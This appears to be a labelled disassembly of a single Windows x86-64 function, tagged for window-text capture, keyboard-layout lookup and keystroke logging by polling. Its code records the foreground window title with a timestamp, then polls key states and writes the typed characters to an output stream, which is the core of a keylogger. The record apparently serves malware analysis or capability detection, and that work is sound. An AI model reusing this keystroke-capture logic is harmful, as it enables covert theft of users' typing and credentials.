Function at 0x1400019e0
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov ebx, ecx
xor r14d, r14d
mov dword [rsp + 0x68], r14d
xor edx, edx
mov r8d, 0xf8
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140007978]
mov qword [rsp + 0x70], rax
lea rax, [0x1400078a8]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x68], 1
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x10], r14
mov dword [rbp - 8], r14d
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdi, rax
mov esi, r14d
test rax, rax
je 0x140001bba
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov rsi, rax
mov r8d, 0x100
lea rdx, [rbp + 0xb0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rcx, [rbp + 0xb0]
lea r9, [0x14000bbe0]
sub r9, rcx
movzx r8d, byte [rcx]
movzx eax, byte [rcx + r9]
sub r8d, eax
jne 0x140001b17
inc rcx
test eax, eax
jne 0x140001b02
test r8d, r8d
je 0x140001bba
lea r8, [rbp + 0xb0]
mov edx, 0x100
lea rcx, [0x14000bbe0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r9, [rsp + 0x40]
lea r8, str._FT_X_z
mov edx, 0x40
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rdx, str._n_n_Window:
lea rcx, [rbp - 0x80]
call fcn.140003a90
mov rcx, rax
lea rdx, [rbp + 0xb0]
call fcn.140003a90
mov rcx, rax
lea rdx, str.___at
call fcn.140003a90
mov rcx, rax
lea rdx, [rbp + 0x70]
call fcn.140003a90
mov rcx, rax
lea rdx, [0x140007768]
call fcn.140003a90
mov rdx, qword [0x14000bbd0]
mov rax, qword [rdx + 8]
mov r8, rdx
movzx r9d, byte [rax + 0x19]
test r9b, r9b
jne 0x140001bec
mov rcx, rax
cmp dword [rcx + 0x20], ebx
jge 0x140001be0
mov rcx, qword [rcx + 0x10]
jmp 0x140001be6
mov r8, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x140001bd5
mov r15d, 0x1000
cmp byte [r8 + 0x19], 0
jne 0x140001c63
cmp ebx, dword [r8 + 0x20]
jl 0x140001c63
cmp r8, rdx
je 0x140001c63
test r9b, r9b
jne 0x140001c27
nop dword [rax]
cmp dword [rax + 0x20], ebx
jge 0x140001c1b
mov rax, qword [rax + 0x10]
jmp 0x140001c21
mov rdx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140001c10
cmp byte [rdx + 0x19], 0
jne 0x140001c55
cmp ebx, dword [rdx + 0x20]
jl 0x140001c55
lea r8, [rdx + 0x28]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x140001c43
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140004240
jmp 0x140001cd7
lea rcx, str.invalid_map_K__T__key
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
and dil, 1
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
test r15w, ax
jne 0x140001ca8
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
test r15w, ax
jne 0x140001ca8
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
test r15w, ax
je 0x140001cac
xor dil, 1
mov r8, rsi
mov edx, 2
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
test dil, dil
jne 0x140001cca
movsx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
movzx edx, al
lea rcx, [rbp - 0x80]
call fcn.140003c60
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x68], 5
movups xmmword [rsp + 0x20], xmm0
mov rcx, r14
mov edx, dword [rbp - 8]
mov eax, edx
and al, 0x22
cmp al, 2
je 0x140001d31
mov rax, qword [rbp - 0x38]
mov rbx, qword [rax]
test rbx, rbx
je 0x140001d31
mov rax, qword [rbp - 0x58]
mov r9, qword [rax]
cmp rbx, qword [rbp - 0x10]
cmovb rbx, qword [rbp - 0x10]
sub rbx, r9
mov rcx, r9
jmp 0x140001d63
test dl, 4
jne 0x140001d93
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax]
mov rbx, r14
test rdx, rdx
je 0x140001d5e
mov rax, qword [rbp - 0x60]
mov r9, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd rbx, dword [rax]
add rbx, rdx
sub rbx, r9
mov rcx, r9
jmp 0x140001d63
mov r9, qword [rsp + 0x20]
test rcx, rcx
je 0x140001d93
lea rcx, [rsp + 0x40]
cmp rbx, 0xf
ja 0x140001d8a
mov qword [rsp + 0x50], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rbx + 0x40], 0
jmp 0x140001d93
mov rdx, rbx
call fcn.1400040e0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [0x14000b0c0]
call fcn.140004240
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001df2
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x140001ded
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ded
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004f6c
lea rcx, [0x14000b0c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x68], 0x13
movups xmmword [rsp + 0x20], xmm0
mov rcx, r14
mov edx, dword [rbp - 8]
mov eax, edx
and al, 0x22
cmp al, 2
je 0x140001e5a
mov rax, qword [rbp - 0x38]
mov rbx, qword [rax]
test rbx, rbx
je 0x140001e5a
mov rax, qword [rbp - 0x58]
mov r9, qword [rax]
cmp rbx, qword [rbp - 0x10]
cmovb rbx, qword [rbp - 0x10]
sub rbx, r9
mov rcx, r9
jmp 0x140001e8c
test dl, 4
jne 0x140001ebc
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax]
mov rbx, r14
test rdx, rdx
je 0x140001e87
mov rax, qword [rbp - 0x60]
mov r9, qword [rax]
mov rax, qword [rbp - 0x28]
movsxd rbx, dword [rax]
add rbx, rdx
sub rbx, r9
mov rcx, r9
jmp 0x140001e8c
mov r9, qword [rsp + 0x20]
test rcx, rcx
je 0x140001ebc
lea rcx, [rsp + 0x40]
cmp rbx, 0xf
ja 0x140001eb3
mov qword [rsp + 0x50], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rbx + 0x40], 0
jmp 0x140001ebc
mov rdx, rbx
call fcn.1400040e0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004240
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001f1c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x140001f16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004f6c
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], r12
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x78]
call fcn.140002830
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140004c00
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret